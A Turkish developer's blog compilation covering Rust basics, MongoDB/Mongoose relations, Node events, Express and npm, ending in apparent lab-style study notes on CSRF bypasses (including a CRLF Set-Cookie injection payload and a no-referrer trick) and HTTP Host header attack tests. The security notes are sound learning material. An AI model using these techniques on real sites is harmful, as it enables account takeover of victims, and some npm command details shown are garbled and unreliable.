Rust Dilinde Veri Tipleri Ve Değişkenler

Öncelikle Rust dili, statically typed diye geçen, veri türlerinin (int, float, boolen …) compile time da tanımlandığı bir yazılım dili diye geçiyor. Ancak development noktasında dynamic typinge izin veriyor. Bir script dili olmadığı için yani bir compiling işlemi gerçekleştiği için, type uyumsuzlukları compile time’da yakalamak mümkün. Bu yüzden bize “let” keywordüyle dinamik gibi görünen tanımlamalar yapmaya izin veriyor.

fn main(){
  let a:u8 = 125; // unsigned int 0-255 8 bit
  println!("a => {}", a);
  // u unsigned, 0 - 2^8-1 'e kadar koyabiliriz
  // i signed -2^(N-1) ----- 2^(N-1)-1 arasında
  let b:i8 = 0; // Signed -128_127 arası 

}

Burada let keywordünü kullanarak bir unsigned integer 8 bitlik bir sayı belirledik. Altta ise i8 olarak yazdığımız tür, signed integer 8 bitlik bir sayı. Rust dilinde türleri belirlemek için typescriptteki gibi “:” operatörünü kullanıyoruz.

Ancak let ile tanımladığımız değişkeni daha sonra değiştiremeyiz. Çünkü default olarak değişken immutable tanımlanır. Onu değiştirilebilir yapmak için mut keywordünü kullanmamız gerekir. Bu benim rust dilinde şaşırdığım bir konuydu. F# haricinde böyle bir yaklaşım görmemiştim. Yanlış hatırlamıyorsam F# dilinde de benzer şekilde bir şeyleri mutable(değiştirilebilir) yapmak için ekstra bir kullanım söz konusuydu.

Yani değiştirilebilir yapmak için değişkeni şu şekilde tanımlamak gerekiyor:

let mut a:i8 = 12;

Bir diğer önemli nokta da importlar. Bunun için ayrıca araştırıp bir yazı yazacağım ama şimdi BTK akademi rust eğitiminde karşıma çıktığı için değinmek istiyorum. C# kullananlar bu tür namespace kavramına ve import yaklaşımına aşinadır zaten. Burada rust dilinde bir değişkenin byte türünden değerini almak için std namespace altında mem‘i kullanıyoruz. Öncelikle fn main üstünde bu kütüphaneyi ekleyelim :

use std::mem;
fn main() { ... }

Sonrasında da değişkenin byte türünde değerini almak için :

 let mut c:i32 = 12345678; // 32 bit == 4 byte

  println!("c = {} ve boyutu {}", c, mem::size_of_val(&c));

Bu bize 4 olarak çıktıyı verecektir.

Değişkenin boyutunu belirlemek için isize veya usize keywordlerini de kullanabiliriz. Bu da bize sistemin boyutunda (32 bit sistemde 32 bit, 64 bit sistemde 64 bit) bir değişken oluşturmuş oluruz :

let mut d:isize = 123;

Ayrıca size_of_val fonsiyonunu çağırırken değişklenin pointer(referans)ını verdiğimize dikkat etmemiz gerekiyor. C dilindeki referansa erişme mantığı anladığım kadarıyla Rust için de geçerli ve “&” operatörü bu amaçla kullanılıyor.

Float değerlerde ise bazı özel durumlar mevcut.

Float sadece f32 veya f64 olabilir. Nan veya +- sonsuz olabilir.

let f:f32 = 2.0000005;

Boolean değerlerde true veya false değer alır ama 1 byte/8 bit değer tutar.

let bVal:bool = true;

Bu konu bu kadar olsun sonraki aşamalardaki operatörler vs başka bir yazıda devam edeceğim.

Rust Ve Near Protocol Yolculuğum

Uzun süredir kendi sitemde yazmadığımı farkettim. Bu yüzden tekrar öğrenme süreçlerimi kaydetmek üzere burayı kullanmaya karar verdim. Bir süre solidity öğrendikten sonra hem rust konusundaki merakımdan hem de near ekosisteminin cazibesinden bu alanı öğrenmeye karar verdim. Near protocol, solidity tabanlı bir aurora protocolüne sahip olsa da kendisi rust ve assemblyscripti destekliyor. Assemblyscript çok yeni bir dil ve typescript developerlarına odaklanmış durumda ancak kısa bir araştırma yaptıktan sonra halen gidilecek çok yolunun olduğunu gördüm bu yüzden typescripte daha yakın olmama rağmen rust öğrenmeye karar verdim. Ayrıca Near Certified Developer eğitimine de kayıt oldum ve onu da düzenli takip edip buradan paylaşıyor olacağım.

Fırsat buldukça yine blockchain development tarafında yaptığım çalışmaları ve araştırmaları da buradan paylaşıyor olacağım. Bakalım Near ekosistemi dışarıdan göründüğü kadar parlak mıymış 😄😄

MongoDB ve Mongoose ile Kullanıcı Mesaj İlişkisi Kurmak

Anladığım kadarıyla buradaki mesajlar forum mesajları gibi veya yorumlar gibi olacak. Her kullanıcının attığı mesaj sayısı da fazla olacağı için bunu kullanıcı koleksiyonunda saklamak istemiyorsun sanırım. Öyleyse burada query işlemi çoğalacak. Her mesaj için tutacağın bilgilere kimden atıldığını belirten bir from bilgisi ekleyebilirsin. Mongodb NoSQL bir veritabanı olduğu için relation işlemlerinin çok olduğu durumda verimli olmayabiliyor. Ama kurgunu buna göre yaptıysan ortadaki cost da kabul edilmiş demektir. Şimdi bir users kolleksiyonu bir de messages kolleksiyonu olduğunu varsayalım. User kolleksiyonunda kullanıcı bilgileri tutulmalı yani bu kolleksiyondaki bir döküman şu şekilde olabilir :
{
_id: 601c0506d1260afc543ce21b,
username: superman,
name: clark,
surname: kent,
email: clark.kent@gmail.com
}
Burada bahsettiğin sorunun yani başkalarının bu kullanıcıya ait mesajları editlemesinin önüne geçebilmemiz için kullanının unique(eşsiz) id’sine ihtiyacımız var. Burada mongonun verdiği id’yi kullanabilirsin. Bu object id NEREDEYSE unique olur her döküman için. Bu ayrımı yapmak için daha da özel bir id’ye ihtiyacın olursa npm uuid paketini araştırabilirsin. Şimdi bir de messages koleksiyonu olmalı demiştik. Oradaki dökümanlar da şu şekilde olsun :
{
_id: 601c05d2ebaed6d9fe9b9bb5,
from: 601c0506d1260afc543ce21b, // Bu kısmın yukarıdaki id ile aynı olduğuna dikkat edelim
to : 601c063dda47ae6b913b0192, // Eğer bu mesaj birisine atılmışsa buradaki id de o user id olmalı
message : “Ne kadar güçlü olduğunu öğrenmenin tek yolu sınırlarını zorlamaya devam etmen”,
}
Artık kullanıcı dökümanında gizli bir relation oluşturmuş olduk. Bundan sonraki süreçte eğer kullanıcıdan bağımsız olarak, bir kullanıcıya ait mesajları almak istersek önce kullanıcının id’sini bilmemiz gerekiyor sonrasında o kullanıcıya ait mesajları eşleşiyor mu diye kontrol ederek bulabiliriz. Id’sini de email yardımıyla veya her kullanıcı için unique belirlediğimiz id dışında username, email gibi bir alan yardımıyla bulabiliriz. Örnek kod :
const user = await User.find({email: “clark.kent@gmail.com”}).select(“_id”); // Kullanıcıyı emailinden bulup sadece id’sini alıyoruz.
const messages = await Message.find({from:user.id}).sort({createdAt: 1}) // Kullanıcının bütün mesajlarını createdAt tarihine göre sıralayarak almış olduk. Burada bir kullanıcının, başka bir kullanıcının mesajlarını görememesi konusu authorization/authentication konusu. Yani sen bu isteği atan kullanıcının, bu mesajlara erişebilecek kullanıcı olduğundan emin olma lojiğini express tarafında yapman gerekiyor. Kullanıcıyı authenticate ettikten sonra req.email, req.userID gibi bir alanda bu bilgileri saklayıp, endpointe cevap veren fonksiyonda yine bu kullanıcıya özel id veya email ile kontrol ettikten sonra o kullanıcıya ilgili mesajları döndürebilmelisin veya edit yaptığın PUT/POST requestte bu kontrolü sağlaman gerekiyor.

Bu bir yöntemdi. Bir diğer yöntem de relation yöntemi. Bu yöntemde de mesajlar kısmında daha az bilgi verip mesajların objectID’sini kullanıcıda saklamamız gerekiyor. Yani kullanıcı alanı şu şekilde olsun :
{
_id: 601c0506d1260afc543ce21b,
username: superman,
name: clark,
surname: kent,
email: clark.kent@gmail.com,
messages : [‘601c09f5e6d54bec2d6b4923’, ‘601c09fbe1e073b144f771d4’]
}
Burada messages kısmında mongo object id’leri saklıyoruz. Message kısmındaki iki döküman da şu şekilde olabilir :
{
_id: 601c09f5e6d54bec2d6b4923, //Bu kısım arrayde saklanan object id
message : “Ne kadar güçlü olduğunu öğrenmenin tek yolu sınırlarını zorlamaya devam etmen”,
}
{
_id: ‘601c09fbe1e073b144f771d4’]//Bu kısım arrayde saklanan object id
message : “You Will Be Different, Sometimes You’ll Feel Like An Outcast, But You’ll Never Be Alone.”,
}

Bu durumda da aslında bir relation hazırlamış oluyorsun. Böylece mongodb senin user tarafında verdiğin messages kısmındaki alanları (şemada belirtmeyi unutma şema örneğini de kod olarak yazacağım) birer referans olduğunu anlıyor ve populate gibi metodu kullanarak bu mesajlara doğrudan user üzerinden erişebiliyorsun. Ama bu noktada eğer bahsettiğin gibi mesajın hangi kullanıcı tarafından atıldığını bulman gerekirse query maliyetin daha da büyüyecek. Diyeceksin ki bu mesajın id’sini içeren kullanıcıları bana getir. Bu da bütün kullanıcılar arasında search yapmak anlamına geliyor.

Bu iki Yöntemi birleştirip hibrit bir yaklaşımla hem kullanıcı tarafında mesajın id’sini hem de mesaj tarafında mesajı atan kullanıcının id’sini tutabilirsin. O zaman da yaptığın işin maliyeti memorye yansır çünkü duplicate bir veri tutuyorsun ve bu duplicate veriyi NoSQL bir db’de tutuyorsun. Yani olduğu gibi verinin maliyetini artırmış olacaksın.

const mongoose = require('mongoose');

mongoose.connect('mongodb://localhost/playground')
  .then(() => console.log('Connected to MongoDB...'))
  .catch(err => console.error('Could not connect to MongoDB...', err));

const User = mongoose.model('User', new mongoose.Schema({
  name: String,
  username: String,
  email: String,
  surname: String,
  messages : [{
	    type: mongoose.Schema.Types.ObjectId,
		ref: 'Message'
  }]
}));

const Messages = mongoose.model('Message', new mongoose.Schema({
  message: String,
  from: {
	  type: mongoose.Schema.Types.ObjectId,
	  ref: 'User'
  }
}));

Yukarıdaki kısımda bağlantımızı yaptık ve şemalarımızı oluşturduk. Ancak kullanıcı şemasını oluştururken messages isminde bir array verdiğimizi ve bu array’in objesinin elemanlarının tipinin bir object id olduğuna dikkat etmemiz gerekiyor. Aynı şekilde mesajda da from kısmı bir obje id’si olarak tutuluyor. Şimdi yavaş yavaş fonksiyonlarımıza gelelim :

async function createUser(name, username, email, surname) { 
  const messages = [];
  const user = new User({
    name, 
    username, 
    email,
	surname,
	messages
  });

  const result = await user.save();
  console.log(result);
}

Burada bir kullanıcı oluşturma kodu hazırladık. Bu test amaçlı bir kullanıcı oluşturabileceğiz.

async function createMessage(message,from) {

  const msg = new Messages({
	message,
	from
  }); 
  const result = await msg.save();
  //Kullanıcının mesajlar listesine mesajı ekliyoruz bunu unutursak referansı otomatik eklemez ve kullanıcı tarafında sonra erişmemiz zor olacak.
  const usr = await User.findByIdAndUpdate({_id : from}, {
		//https://docs.mongodb.com/manual/reference/operator/update/ buradaki dökümana gidip desteklenen bütün güncelleme operatörlerini görebiliriz.
		// $currentDate , $inc , $rename, $set $unset...
		$push : {messages : msg}
	}, {new : true}); // Burada new true diyerek yeni dökümanı döndürmesini sağlıyoruz. Eğer bunu eklemezsek değişmemiş dökümanı döndürür.
  
  
  console.log(result);
}

Bir mesaj oluşturma fonksiyonu. Bu noktada da dikkat etmemiz gereken unsur şu : mesajı oluşturduktan sonra bu mesajı kullanıcının mesaj listesine push etmemiz gerekiyor ki çift taraflı erişebilelim.

async function listMessageFromUser(id) { 
  const userMessages = await User
    .findById({_id: id}) // Kullanıcıya ait mesajları görmek istiyoruz. 
    .populate('messages')
    .select('message');
  console.log(userMessages); 
}

async function listUserFromMessage(id) { 
  const msg = await Messages
    .findById({_id: id}) // Kullanıcıya ait mesajları görmek istiyoruz. 
    .populate('from')
    .select('username');
  console.log(msg); 
}

Burada kullandığımız populate fonksiyonları yardımıyla mongoose’a direkt olarak bu referansa sahip objeyi getir diyebiliyoruz. Yani kullanıcı altında messages kısmında tuttuğumuz referansları doğrudan obje şeklinde alabileceğiz. Aynı şekilde bu ilişki yardımıyla mesajın kullanıcısına da erişimimiz olacak. Şimdi sırasıyla çağıralım :

// 1) Create User
createUser("Clark","Superman","clark.kent@gmail.com","kent");

Kullanıcının oluşturulduğu yanıtını aldık. Şimdi bir sonraki mesaj oluşturma fonksiyonumuzu çağırabiliriz :

// 2) Add Message
createMessage("Ne kadar güçlü olduğunu öğrenmenin tek yolu sınırlarını zorlamaya devam etmen","601c0ea955c6b541944f5398");
createMessage("You Will Be Different, Sometimes You’ll Feel Like An Outcast, But You’ll Never Be Alone.","601c0ea955c6b541944f5398");

Bununla ilgili de olumlu dönüş aldık. MongoDB compass yardımıyla baktığımızda da iki tarafta da kayıt edildiğini görüyoruz. Renklerle kontrol ederek referansların doğru olduğunu da görebiliriz:

Şimdi de kullanıcının bütün mesajlarına referans yöntemiyle erişip bastıralım :

// 3) List Message
listMessageFromUser("601c0ea955c6b541944f5398");

Mesajlarımız istediğimiz gibi gelmiş oldu. Son olarak mesajdaki referans yardımıyla da kullanıcının bilgilerine erişelim :

// 4) Get User
listUserFromMessage("601c12304cf4cc4854a584b7")

Bu bilgilere de erişmiş olduk.

Burada son olarak dikkat etmemiz gereken konu ise transaction konusu. Bu mongodb’de olmadığı için mesaj oluştururken önce mesajı oluşturduk sonra başka bir query ile kullanıcıyı güncelledik. Bu zincirin bölünmediğinden emin olmak için two phase commit mantığı kullanabiliriz. Yoksa mesaj kaydolduktan sonra bağlantı kopabilir ve kullanıcı tarafına mesajı kaydetmekte sorun yaşayabiliriz.

Kodların tamamı da şu şekilde :

const mongoose = require('mongoose');

mongoose.connect('mongodb://localhost/playground')
  .then(() => console.log('Connected to MongoDB...'))
  .catch(err => console.error('Could not connect to MongoDB...', err));

const User = mongoose.model('User', new mongoose.Schema({
  name: String,
  username: String,
  email: String,
  surname: String,
  messages : [{
	    type: mongoose.Schema.Types.ObjectId,
		ref: 'Message'
  }]
}));

const Messages = mongoose.model('Message', new mongoose.Schema({
  message: String,
  from: {
	  type: mongoose.Schema.Types.ObjectId,
	  ref: 'User'
  }
}));

async function createUser(name, username, email, surname) { 
  const messages = [];
  const user = new User({
    name, 
    username, 
    email,
	surname,
	messages
  });

  const result = await user.save();
  console.log(result);
}

async function createMessage(message,from) {

  const msg = new Messages({
	message,
	from
  }); 
  const result = await msg.save();
  //Kullanıcının mesajlar listesine mesajı ekliyoruz bunu unutursak referansı otomatik eklemez ve kullanıcı tarafında sonra erişmemiz zor olacak.
  const usr = await User.findByIdAndUpdate({_id : from}, {
		//https://docs.mongodb.com/manual/reference/operator/update/ buradaki dökümana gidip desteklenen bütün güncelleme operatörlerini görebiliriz.
		// $currentDate , $inc , $rename, $set $unset...
		$push : {messages : msg}
	}, {new : true}); // Burada new true diyerek yeni dökümanı döndürmesini sağlıyoruz. Eğer bunu eklemezsek değişmemiş dökümanı döndürür.
  
  
  console.log(result);
}

async function listMessageFromUser(id) { 
  const userMessages = await User
    .findById({_id: id}) // Kullanıcıya ait mesajları görmek istiyoruz. 
    .populate('messages')
    .select('message');
  console.log(userMessages); 
}

async function listUserFromMessage(id) { 
  const msg = await Messages
    .findById({_id: id}) // Kullanıcıya ait mesajları görmek istiyoruz. 
    .populate('from')
    .select('username');
  console.log(msg); 
}

// 1) Create User
//createUser("Clark","Superman","clark.kent@gmail.com","kent"); // Clark Kent kullanıcısı oluşturuldu id'si 601c0ea955c6b541944f5398
//Şimdi mesaj ekleyelim 601c0ea955c6b541944f5398
// 2) Add Message
//createMessage("Ne kadar güçlü olduğunu öğrenmenin tek yolu sınırlarını zorlamaya devam etmen","601c0ea955c6b541944f5398");
//createMessage("You Will Be Different, Sometimes You’ll Feel Like An Outcast, But You’ll Never Be Alone.","601c0ea955c6b541944f5398");
// 3) List Message
//listMessageFromUser("601c0ea955c6b541944f5398");
// 4) Get User
listUserFromMessage("601c12304cf4cc4854a584b7") // Burada da mesajın id'sini girdiğimize dikkat etmemiz gerekiyor. Id yoluyla mesaja ulaşıp onun altında kullanıcı referansını populate ediyoruz.

Node Event Module Detayları -Node Dersleri 2

Node.js ‘in Event modülünü öğrenmeden önce javascriptin event driven programming mantığını yani olay odaklı programlama mantığını anlamamız gerekiyor. Peki nedir bu olay odaklı programlama ?

Event Driven Programming

İsminden de anlaşıldığı gibi sistem içerisinde bir olay gerçekleştiğinde diğer elemanların o olaya göre tepki göstermesidir. Örnek verecek olursan DOM üzerinde bir butona tıklanması olayı gerçekleştiğinde bir işlem yapabiliriz. Böyle bir durumda sistem o butonu tanımlamamızı sağlayan bir bilgi ile birlikte sistemde olayın gerçekleştiğini yayar(emir). Birisinin ayağa kalkıp “ben x kişisiyim ve y kişisi bana tıkladı” diye bağırması gibi düşünebiliriz. Daha sonra bu bilgiye göre bir işlem yapılacaksa bu sinyali bekleyen bölüm işareti almış olur ve tetiklenir- harekete geçer. İşlemler bu şekilde çalışır. Şimdi node.js ‘in bize sunduğu “events” modülüne bir bakalım.

Events Modülü İle Olaylar Olaylar

Şimdi olay odaklı programlamanın nasıl çalıştığını biliyoruz. Peki bu javascriptte nerede kullanılıyor? Hemen hemen her yerde! Node.js ile bir siteye istek atarken, veya javascriptte DOM’u dinlerken, eşzamanlı bir işlem yürüteceğimiz zaman veya kendi belirlediğimiz koşullar oluştuğunda bir olay döngüsünü tetikleyebiliriz. İşte bu noktada Node.js bize “events” adında bir modül sağlıyor. Bu modül yardımıyla olay sinyalleri üretip, dinleyip manipüle edebiliyoruz.

const EventEmitter = require("events");

Yukarıdaki satıyla projemize events modülünü dahil etmiş olduk. Şimdi yeni bir emitter objesi oluşturalım. Oluşturduğumuz bu objeyle hem bir olay dinleyebiliriz hem de bir olay yayabiliriz :

const emitter = new EventEmitter();

Öncelikle bir olay döngüsü dinlemeyi(listen) yazalım. Bu şekilde bizim verdiğimiz isimde bir olay gerçekleştiği zaman ikinci parametre olarak verdiğimiz callback fonksiyonu çalışacak.

emitter.on("messageLogged", function(arg) { //Burada kullanılan arg e olabilir veya herhangi bir isim olabilir.
	console.log("listener called", arg);
});

Bu kod ile artık “messageLogged” adında bir olay gerçekleştiğinde konsola bu olayın gerçekleştiğine dair bir mesaj yazacağız. .on fonksiyonunu aslında onClick’ten tanıyoruz. Türkçeye çevirdiğimizde “click” olayı gerçekleşince gibi bir anlam çıkıyor. Birinci argümanda olayın adını verirken ikinci argüman da o olay gerçekleşince çalışacak fonksiyonu belirlemiş oluyoruz. Ayrıca bu fonksiyonun aldığı argüman da sinyal ile birlikte yayılan veriyi işaret eder.

Şimdi birisi bu olayı dinliyorsa birisi de bu olayı yaymalı. Elimizde hazır bir emitter objesi varken bu obje yardımıyla aynı isimde bir olay yayalım ve sonuca bakalım :

emitter.emit('messageLogged', {id : 1, url : 'url'});

.emit fonksiyonu da process içinde bir sinyali istediğimiz veriyle birlikte yaymamızı sağlıyor. Tahmin edeceğiniz üzere birinci argüman sinyalin adını belirtirken ikinci argüman yayılacak veriyi belirtiyor. Kodu yorumlarla birlikte genel olarak yazacak olursak :

//Buradaki tüm fonksiyonlar arrow function şeklinde yazılabilir.

const EventEmitter = require("events"); //Class names beginning UpperCase

const emitter = new EventEmitter();
//Emitting means signaling an event at application making noise

//Raise an listener
//Burada eklediğimiz event listener, uygulamada bu sinyal oluştuğunda bunu yakalar. Bu listener bağlamak için .on metodunu kullanıyoruz. Bu metodun birinci parametresi dinlemek istediğimiz event'ın adı ikinci parametresi ise sinyal yakalandığında çalıştırılacak signal handler fonksiyonu.
emitter.on("messageLogged", function(arg) { //Burada kullanılan arg e olabilir veya herhangi bir isim olabilir.
	console.log("listener called", arg);
});

//Raise an event
//Örnek olarak burada eventımıza bir isim veriyoruz. İlerleyen zamanlarda her log işlemi yapıldığında bu sinyalin uygulamada yankılanmasını yani emit edilmesini sağlayacağız.	
emitter.emit('messageLogged', {id : 1, url : 'url'}); // Best practice : Birden fazla argüman gönderilecekse JSON olarak gönder.
//emitter.emit('messageLogged', 1, "url"); =>Verdiğimiz sonraki parametreler bu event ile taşınacak parametrelerdir. Yani event argumentstir. 

//Real world örneklerinde doğrudan EventEmitter ile işlemler yapılmaz genel olarak bir sınıf yazılır ve bu sınıf içinde gerekli bütün eventler gönderilir veya yakalanır.

Buraya kadar her şey güzeldi. Ancak gerçek uygulamalar üzerinde çalışırken bu kadar basit yapılar kurulmuyor. İşin doğrusu EventEmitter doğrudan bir obje olarak bile kullanılmıyor. Javascriptte hemen her şeyin bir obje olduğunu biliyoruz. Bu yüzden “events” sınıfını miras alan(extend) bir sınıf yazıp bu şekilde kullanıyoruz.

Örnek olarak bir logger sınıfı yazmak istiyoruz diyelim. Bu sınıf yardımıyla istediğimiz zaman bir olayın tetiklenmesini ve tetiklendikten sonra uzaktaki bir url’ye log bilgisi göndermesini istiyoruz. Öncelikle logger.js adında bir dosya oluşturarak events sınıfını extend eden kendi sınıfımızı yazalım.

logger.js

const EventEmitter = require("events"); 
//const emitter = new EventEmitter();

var url = "http://mylogger.com/log";
//Classı EventEmitter dan türeterek bu sınıfın sahip olduğu bütün özellikelere sahip oluyoruz.
class Logger extends EventEmitter{
	log(message){
		console.log(message);
		this.emit('messageLogged', {id : 1, url : url});//burada emitter yerine this diyoruz çünkü artık biz de emitter objesiyiz.
	}
}
module.exports = Logger;

Burada bir events’i require ile eklediğimiz sınıf EventEmitter oldu. Daha sonra Logger sınıfını yazarken de bu sınıftan extend ettik. Daha sonra da bu Logger sınıfımıza bir mesaj argümanı alan bir log fonksiyonu tanımlıyoruz. Emit ederken artık EventEmitter demiyoruz çünkü this referansının işaret ettiği Logger sınıfı, EventEmitter sınıfının bütün özelliklerine zaten sahip. Bu yüzden this.emit ile istediğimiz bilgiyi paylaşabiliyoruz.

Şimdi bunu kullandığımız bir event.js dosyası oluşturalım :

event.js

const EventEmitter = require("events"); //Class names beginning UpperCase

 const Logger = require('./logger');
 const logger =  new Logger();
 
 //Export ettiğimiz loggerın EventEmitter objesi olduğunu extend ettiği için biliyoruz. Dolayısıyla bu obje üzerinde .on çağırabiliyoruz.
 logger.on("messageLogged", function(arg) { //Burada kullanılan arg e olabilir veya herhangi bir isim olabilir.
	console.log("listener called", arg);
});

 
 logger.log('message');

Evet artık kendi yazdığımız ve process boyunca kendi objesinin yaydığı sinyalleri dinleyebilecek bir sınıfımız hazır. Ayrıca bu sınıfı oluşturup bir de buna bir listener yani olay dinleyecek fonksiyonu da .on ile yazdık. daha sonra da log fonksiyonuyla bir olay yaydığımızda bu yakalanacak ve listener called yazısı ekrana basılacak.

Express Temel Konular

Kurulum

  • npm init –yes
  • npm i express

Bilinmesi Gerekenler

Her değişiklikte node index.js diye tekrar başlatmamak için nodemon paketini yüklüyoruz. npm i nodemon => node monitor

Environment Variable PORT => Productiona çıktığımız yerde port ataması dinamik olabilir. Bu yüzden aşağıdaki kodla portu gelirleyip öyle listen diyoruz:

process.env.PORT || 3000 => mevcut processdeki environment global değişkeninin içindeki portu görüyoruz.

HTTP Metodları

  • app.get()
  • app.post()
  • app.put()
  • app.delete()

Input Validation With Joi

Bu metodları implement ederken belli input validationları yapmamız gerekiyor. Bu doğrulama işlemini Joi paketiyle yapabiliriz. Bu paket validate fonksiyonunu kullanmak için bir json(body) ve bir schema alır. Bunları karşılaştırıp bir json döndürür. Bu dönen json objesinde error set edilmişse oradaki details[0].message kısmından hata mesajına ulaşabiliriz.

var schema = { name = Joi.string().min(3).required()};

Joi.validate(req.body, schema);

Ayrıca aradığımızı bulamadığımız durumda da şu şekilde 404 döndürüp fonksiyonu sonlandırabiliriz : return res.status(404).send(“Could not find “);

Requestle Gelen Body’i Okumak

POST ve PUT requestlerinde gelen body json olarak gelir. Bu body bilgisini okuyup parse edebilmek için bir middleware kullanmamız gerekir. Bu da expressin json fonksiyonuyla olur. Bu yüzden uygulamamızın en üstüne app.use(express.json()) ifadesini ekleriz. Daha sonra gelen body’leri okumak için de req.body.<item> şeklinde bir ifade kullanırız..

Requeste Response Döndürme

Son olarak da gelen isteklere karşı cevap göndermek için res.send(<Data>); fonksiyonunu kullanıyoruz.

Paket Yönetimi

Paketler İçin Modülleri Yükleme

  • npm init
    • npm init —yes
  • npm install

Paket Yükleme

  • npm i underscore

Underscore Kullanma

var _ = require(‘underscore’);

console.log(_.contains([1,2,3,4,5,], 2)) ⇒ True

Dependencies

  • npm i mongoose ⇒ Yüklediğimizde package.json dosyasının içinde dependencies kısmında ismi görüyoruz
  • node_modules kısmına baktığımızda bir sürü dosya yüklendiğini görüyoruz. Bunlar mongoose’ın bağımlılıklarıdır. Eski sürümlerde her paketin dependenciesi kendi altında yüklenirdi ama windowsun path konusundaki karakter sınırından ve çok karmaşık olmasından dolayı artık doğrudan node_modules altına yüklenir. Bir tek eğer versiyonlar farklıysa paketin kendi klasörü altına yüklenir.

Source Control

  • node_modules klasörünü sildiğimizde sorun olmaz. Çünkü package.json içinde bu bağımlılıklar bulunur ve npm i komutunu çalıştırdığımızda otomatik olarak yüklenir.

Semantic Versioning

  • “mongoose” : “^4.13.6” ⇒ Major.Minor.Patch Burada başta kullandığımız karakterle major versiyon değişmediği sürece diğer versiyonların en güncel halinin yüklenmesi gerektiğini belirtiyoruz. Eş anlamlısı 4.x Eğer bunun yerine ^ ⇒ ~ tilda işareti kullanılırsa bu major ve minor sabitken patchleri yüklemesi gerektiği anlamına gelir. Eğer hiç bir karakter eklenmezse bu tam olarak o versiyonun kullanılması gerektiğini gösterir.
  • npm list ⇒ Bütün bağımlılıkları görmeyi sağlar. npm list —depth= 0 ⇒ sadece uygulamanın bağımlılıkları görülür.

Installing Spesific Version Of A Package

  • npm i mongoose@2.4.2

Update Packages

  • npm outdated ⇒ Versiyonu geçmiş paketleri gösterir.
  • npm update ⇒ Sadece minor ve patch çıkışlarını günceller.
  • npm i -g npm-chech-updates ⇒ Bununla yeni bir paket yükledik ve artık yeni bir cmd komutumuz var = npm-chech-updates
  • npm-chech-updates ⇒ Komutunu çalıştırdığımız artık outdated paketler de major update leri almış oldu.
  • Bu komut ncu -u ⇒ paketleri günceller ve package.json dosyası da güncellenir.
  • Sonra da npm i komutunu çalıştırırarak yeni updated paketleri yükleyebiliriz.

Development Dependencies

  • npm i jshint —save-dev ⇒ Bu flag ile implement ettiğimizde development dependency olarak görünür ve productionda çıkmaz

Uninstalling Package

  • npm un mongoose

How To Publish Node Package

  • index.js ile dosyayı oluşturduk. Sonra npm init —yes çalıştırdık.
  • Eğer üyeliğimiz varsa npm login yoksa npm adduser komutlarını çalıştırıyoruz.
  • Giriş yaptıktan sonra paketimizi yayınlamak için unique bir isim kullanmamız gerekiyor.
  • Paketimizdeki isim unique bir isimse (package.json içindeki) npm publish dediğimizde yayınlamış oluyoruz.

Update Published Package

  • Yeni versiyonu güncellemek için npm update minor veya npm update major veya npm update patch kullanabiliriz. Ayrıca package json dosyasını güncelleyebiliriz
  • Sonra tekrar npm publish çalıştırıyoruz.

CSRF Saldırıları Notlar

document.forms[0].submit();

  1. Requestin Metodu değişince CSRF kontrolünü bırakabilir.
  2. CSRF tokeni varken kontrol edebilir ama olmaması durumunda bypass edilebilir. Yani requestten tamamen silip bypass edilebilir.
  3. CSRF token belli bir kullanıcının sessionu ile ilişkili olmayabilir. Bir kullanıcı kendi hesabının CSRF tokeni ile başka kullanıcıya işlem yaptırabilir.
  4. CSRF token is tied to a non-session cookie ⇒ Bu tipte şöyle bir kontrol yaptık. Cookie’de geçen csrf ile sessiondaki csrf birbirine ne kadar bağlı. Bunu test etmek için sessionu değiştirdiğimizde unauthorized hatası alırken CSRF değiştirdiğimizde invalid csrf hatası aldık. Bu çok da bağlı olmayabileceğini bize gösterdi. Bu durumda başka bir kullanıcının CSRF cookie’si ile csrf kodunu kullanırsak sessiona bağlı olmadığı için başarılı şekilde işlemi yapabileceğimiz anlamına geliyor. İki farklı kullanıcı ile deneyince bunun doğru olduğunu gördük. Şimdi geriye saldırganın aldığı cookie csrf tokenini kurbanın header’ına eklemek kaldı. Bunun için search fonksiyonunu kullanıyoruz. Buraya arayacağımız terimi girdiğimizde cookie’mizde bunun yer aldığını gördük. Biz de search kısmını /?search=test%0d%0aSet-Cookie:%20csrfKey=L6qMebH75fU5y31rVB0dqr573JyxuP8a bu şekilde değiştirdik. Böylece cookie eklenince response tarafında Set-Cookie: test Set-Cookie: csrfKey = …. Şeklinde hedaer oluşturuldu. Böylece biz kurbanın headerına saldırganın csrf’ini ekleyebilmiş olduk. Daha sonra da saldırganın tokenini kullanan bir formla kurbanın tıklamasını sağlayınca emaili değiştirebildik. Bu payloadda %0d%0a önemli çünkü alt satıra geçiriyor
  5. CSRF token is simply duplicated in a cookie ⇒ Eğer csrf kontrolü arkada session ile bağlantılı bir şekilde tutulmuyor da cookie’de saklanıyor ve bununla eşleşme kontrol ediliyorsa, bir önceki zaafiyetteki gibi set cookie işlevi olan bir yerden kurbanın cookielerine istediğimiz csrf bilgisini set edip bunu formda geçirerek işlem yapabiliriz.
  6. Referer Header ⇒ Bazı uygulamalar csrf koruması amacıyla HTTP Referer headerını kullanılır. Buna bağlı kontrollerde zayıflıklardan bir tanesi referer header’ının gönderilmesi ama dolu mu boş mu olduğunun kontrol edilmemesi durumudur. Bunu test etmek için PoC mizin başına <meta name=”referrer” content=”no-referrer”> tagını ekleyebiliriz.
  7. Referer tabanlı korumalarda bir de referer kısmının kontrolünde zayıflıklar olabilir. Örnek olarak referer hedaerındaki değerin, ana domaini içerip içermediğini veya değerin başlangıç kısmının ana domain olup olmadığını kontrol ediyor olabilir. Böyle durumlarda da saldırgan sitenin sonuna veya başına kurban site eklenerek saldırı gerçekleştirilebilir.
  8. Bu saldırı genelde email veya password değiştirme amacıyla kullanılır.

HTTP Host Header Attack

Hatırlanması Gereken Pratik Noktalar

  1. Host hedaerını test ederken önce tamamen değişik bir host girmeyi deneyebiliriz.
  2. Hata alıyorsak header sabit kalırken yanına port kısmına port yerine :port şeklinde farklı birşeyler girebiliriz.
  3. Bu da olmazsa hostu içeren notvuln-site.com gibi bir yeni site adresi deneyebiliriz.
  4. Denenebilecek bir diğer konu da Host headerını tekrar yazmak. Bazı yorumlayıcılar ikincisini esas alabiliyor.
    1. Bunu denerken birinci hostun başına boşluk koyarak da deneyebiliriz.
  5. Daha sonra denenebilecek bir diğer konu da requestte / ile gösterilen kısmı tam url yapıp host headerındaki kontrolü atlatmaya çalışmak.
